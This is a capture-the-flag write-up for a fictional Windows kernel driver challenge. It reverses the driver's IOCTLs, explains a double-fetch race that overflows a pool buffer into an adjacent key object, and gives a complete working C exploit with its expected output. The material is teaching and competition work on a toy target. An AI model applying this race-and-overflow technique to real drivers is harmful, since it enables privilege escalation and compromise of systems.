WINCAPTURE (OmniCTF 2026 Quals) — Windows Kernel Double-Fetch Race
A stripped Windows kernel driver for a fictional packet capture tool.
IOCTL_COMMIT_CAPTURE reads g_shared_pkt_size[rid] twice — once
to validate, then again after releasing the region lock. A concurrent
IOCTL_WRITE_SHARED on a second pipe handle raises the size between the two
reads, overflowing g_capture_buf into the adjacent pool allocation and
flipping the granted flag.
Challenge setup
You get WinCapture.sys — a stripped 64-bit Windows kernel driver PE for a packet capture service. The server takes your exploit.exe, runs it in Wine against a live driver instance on a named pipe, and streams stdout back. The flag comes out only after IOCTL_READ_KEY succeeds, which requires key_obj.granted != 0.
The interface is a named pipe at \\.\pipe\WinCapture. Binary little-endian protocol, same pattern as the pipe-based challenges:
- Request:
uint32_t ioctl_code | uint32_t in_len | data[in_len] - Response:
uint32_t ntstatus | uint32_t out_len | data[out_len]
Step 1 — reversing WinCapture.sys
Load in IDA or Ghidra. Native PE (subsystem = 1), so the entry point is DriverEntry. It writes a dispatch function pointer to DriverObject+0x38+(0x0E*8) — the IRP_MJ_DEVICE_CONTROL slot. Follow it to WinCaptureDeviceControl.
The dispatch is a jump table keyed on ioctl_code + 0x3DFFE000 — that constant is the two's complement of 0xC2002000, so the base IOCTL code is 0xC2002000 with function codes stepping by 1:
| Code | Name | Input |
|--------------|------------------------|--------------------------------|
| 0xC2002000 | IOCTL_WRITE_SHARED | u32 rid, u32 pkt_size, data |
| 0xC2002004 | IOCTL_ALLOC_CAP | u32 buf_size |
| 0xC2002008 | IOCTL_ALLOC_KEY | - |
| 0xC200200C | IOCTL_COMMIT_CAPTURE | u32 rid <-- vulnerable |
| 0xC2002010 | IOCTL_READ_KEY | - |
Pool allocator
pool_alloc is a bump allocator over a static array with 16-byte alignment. Calling ALLOC_CAP then ALLOC_KEY produces two adjacent allocations:
pool[0 .. cap_size - 1] = g_capture_buf
pool[cap_size .. +15] = key_object_t
Key object
Visible in both the ALLOC_KEY initializer and the READ_KEY comparison:
typedef struct {
uint32_t canary; /* [+0x00] must == 0x4B455901 */
uint32_t granted; /* [+0x04] must != 0 */
uint32_t _pad[2];
} key_object_t;
KEY_CANARY = 0x4B455901 is easy to spot as a CMP immediate or as bytes 01 59 45 4B in .rdata.
Step 2 — the double-fetch bug
Decompiled IOCTL_COMMIT_CAPTURE:
/* read #1 -- validates */
lock(region_mutex[rid]);
uint32_t sz = g_shared_pkt_size[rid];
unlock(region_mutex[rid]);
if (sz > 0x200) return STATUS_INVALID_PARAMETER;
commit_log_event(rid, sz); /* releases lock; visible as call sub_XXXX */
Sleep(2); /* race window */
/* read #2 -- NOT re-validated */
lock(region_mutex[rid]);
uint32_t copy_sz = g_shared_pkt_size[rid];
memcpy(g_capture_buf, g_shared_data[rid], copy_sz);
unlock(region_mutex[rid]);
In the binary: two identical mov edx, [r8+rsi*4] instructions separated by a call. The Sleep(2) makes the window reliably large enough for a tight userspace racer.
IOCTL_WRITE_SHARED that updates g_shared_pkt_size[0] to RACE_SIZE in that window causes copy_sz to exceed cap_size, overflowing g_capture_buf into key_object_t.
Step 3 — pool layout and overflow target
With cap_size = 0x100 (already 16-byte aligned), ALLOC_CAP(0x100) followed by ALLOC_KEY() gives:
pool[0x000 .. 0x0FF] = g_capture_buf
pool[0x100 .. 0x103] = key_obj.canary (KEY_CANARY = 0x4B455901)
pool[0x104 .. 0x107] = key_obj.granted (= 0, must become 1)
The overflow payload is RACE_SIZE = 0x400 bytes. Bytes at offset 0x100 inside the payload land exactly on key_obj:
payload[0x000 .. 0x0FF] = 0x41 (filler)
payload[0x100 .. 0x103] = 0x01 0x59 0x45 0x4B (KEY_CANARY, LE)
payload[0x104 .. 0x107] = 0x01 0x00 0x00 0x00 (granted = 1)
0x41 sets key_obj.canary = 0x41414141. The READ_KEY handler checks the canary before granted — a random fill wins the race but still gets ACCESS_DENIED. Both fields must be correct at the right offsets.
Step 4 — the exploit
Two pipe handles are needed. The driver creates the pipe with PIPE_UNLIMITED_INSTANCES, so two CreateFile calls to the same path both succeed.
hA: doesALLOC_CAP(0x100),ALLOC_KEY(), then loopsWRITE_SHARED(safe) -> COMMIT -> READ_KEY?hB(background thread): loopsWRITE_SHARED(0x400, payload)continuously
When Thread A's COMMIT picks up the size written by Thread B between its two reads, the overflow lands, READ_KEY returns STATUS_SUCCESS, and the loop stops.
/*
* solve.c -- WinCapture CTF challenge solution
*
* Bug: double-fetch in IOCTL_COMMIT_CAPTURE.
* pkt_size is validated on the first read, then re-read after releasing
* the region lock without re-validation. A concurrent IOCTL_WRITE_SHARED
* on the same region can raise it above 0x200 between the two reads,
* overflowing g_capture_buf into the adjacent key_object_t.
*
* Pool layout after ALLOC_CAP(0x100) + ALLOC_KEY():
* pool[0x000 .. 0x0FF] = g_capture_buf
* pool[0x100 .. 0x103] = key_obj.canary (KEY_CANARY = 0x4B455901)
* pool[0x104 .. 0x107] = key_obj.granted (must become nonzero)
*
* Compile:
* x86_64-w64-mingw32-gcc -O2 -o exploit.exe solve.c -lkernel32
*/
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#define IOCTL_WRITE_SHARED 0xC2002000UL
#define IOCTL_ALLOC_CAP 0xC2002004UL
#define IOCTL_ALLOC_KEY 0xC2002008UL
#define IOCTL_COMMIT_CAPTURE 0xC200200CUL
#define IOCTL_READ_KEY 0xC2002010UL
#define STATUS_SUCCESS 0x00000000UL
#define KEY_CANARY 0x4B455901UL
#define CAP_SIZE 0x100U
#define RACE_SIZE 0x400U
#define REGION_ID 0U
static int pw(HANDLE h, const void *b, DWORD n) {
DWORD t = 0, w;
while (t < n) { if (!WriteFile(h,(char*)b+t,n-t,&w,NULL)||!w) return 0; t+=w; }
return 1;
}
static int pr(HANDLE h, void *b, DWORD n) {
DWORD t = 0, g;
while (t < n) { if (!ReadFile(h,(char*)b+t,n-t,&g,NULL)||!g) return 0; t+=g; }
return 1;
}
static uint32_t do_ioctl(HANDLE h, uint32_t code,
const void *in, uint32_t in_n,
void *out, uint32_t *out_n)
{
uint32_t hdr[2] = { code, in_n };
if (!pw(h, hdr, 8)) return 0xDEADDEAD;
if (in_n) pw(h, in, in_n);
uint32_t rsp[2];
if (!pr(h, rsp, 8)) return 0xDEADDEAD;
if (rsp[1] && out && out_n) {
uint32_t n = rsp[1] < *out_n ? rsp[1] : *out_n;
pr(h, out, n); *out_n = rsp[1];
} else if (out_n) *out_n = 0;
return rsp[0];
}
static HANDLE g_hA, g_hB;
static volatile LONG g_done = 0;
static DWORD WINAPI thread_racer(LPVOID unused)
{
(void)unused;
uint8_t payload[RACE_SIZE];
memset(payload, 0x41, sizeof(payload));
uint32_t canary = KEY_CANARY, granted = 1;
memcpy(payload + CAP_SIZE + 0, &canary, 4);
memcpy(payload + CAP_SIZE + 4, &granted, 4);
uint8_t pkt[8 + 4096]; uint32_t pkt_len;
while (!InterlockedCompareExchange(&g_done, 0, 0)) {
*(uint32_t *)(pkt+0) = REGION_ID;
*(uint32_t *)(pkt+4) = RACE_SIZE;
memcpy(pkt+8, payload, RACE_SIZE);
pkt_len = 8 + RACE_SIZE;
do_ioctl(g_hB, IOCTL_WRITE_SHARED, pkt, pkt_len, NULL, NULL);
}
return 0;
}
static HANDLE open_pipe(void) {
for (;;) {
HANDLE h = CreateFileA("\\\\.\\pipe\\WinCapture",
GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h != INVALID_HANDLE_VALUE) return h;
if (GetLastError() == ERROR_PIPE_BUSY) {
WaitNamedPipeA("\\\\.\\pipe\\WinCapture", 2000);
continue;
}
return INVALID_HANDLE_VALUE;
}
}
int main(void) {
printf("[*] WinCapture -- double-fetch race\n");
g_hA = open_pipe();
g_hB = open_pipe();
if (g_hA == INVALID_HANDLE_VALUE || g_hB == INVALID_HANDLE_VALUE) return 1;
printf("[*] two pipe connections open\n");
uint32_t cap_req = CAP_SIZE;
do_ioctl(g_hA, IOCTL_ALLOC_CAP, &cap_req, 4, NULL, NULL);
do_ioctl(g_hA, IOCTL_ALLOC_KEY, NULL, 0, NULL, NULL);
printf("[*] pool: [0x0..0x%X) = capture buf, [0x%X..0x%X) = key_obj\n",
CAP_SIZE, CAP_SIZE, CAP_SIZE + 16);
printf("[*] key_obj.canary=0x%08X granted=0 (target: granted -> 1)\n", KEY_CANARY);
printf("[*] racing...\n");
DWORD tid;
HANDLE ht = CreateThread(NULL, 0, thread_racer, NULL, 0, &tid);
uint8_t safe[8 + CAP_SIZE];
*(uint32_t *)(safe+0) = REGION_ID;
*(uint32_t *)(safe+4) = CAP_SIZE;
memset(safe+8, 0x42, CAP_SIZE);
char flag[256]; int won = 0;
for (int i = 1; i <= 2000 && !won; i++) {
do_ioctl(g_hA, IOCTL_WRITE_SHARED, safe, 8+CAP_SIZE, NULL, NULL);
do_ioctl(g_hA, IOCTL_COMMIT_CAPTURE, &(uint32_t){REGION_ID}, 4, NULL, NULL);
uint32_t fl = sizeof(flag);
if (do_ioctl(g_hA, IOCTL_READ_KEY, NULL, 0, flag, &fl) == STATUS_SUCCESS) {
InterlockedExchange(&g_done, 1);
printf("[+] race won (attempt %d)\n", i);
printf("[+] %s\n", flag);
won = 1;
}
}
InterlockedExchange(&g_done, 1);
WaitForSingleObject(ht, 2000);
CloseHandle(ht); CloseHandle(g_hA); CloseHandle(g_hB);
return won ? 0 : 1;
}
Compile and submit:
x86_64-w64-mingw32-gcc -O2 -o exploit.exe solve.c -lkernel32
base64 -w 0 exploit.exe
# paste into the nc session, then send a line with just: END
Expected output:
[*] WinCapture -- double-fetch race
[*] two pipe connections open
[*] pool: [0x0..0x100) = capture buf, [0x100..0x110) = key_obj
[*] key_obj.canary=0x4B455901 granted=0 (target: granted -> 1)
[*] racing...
[+] race won (attempt 73)
[+] CTF{<64 hex chars>}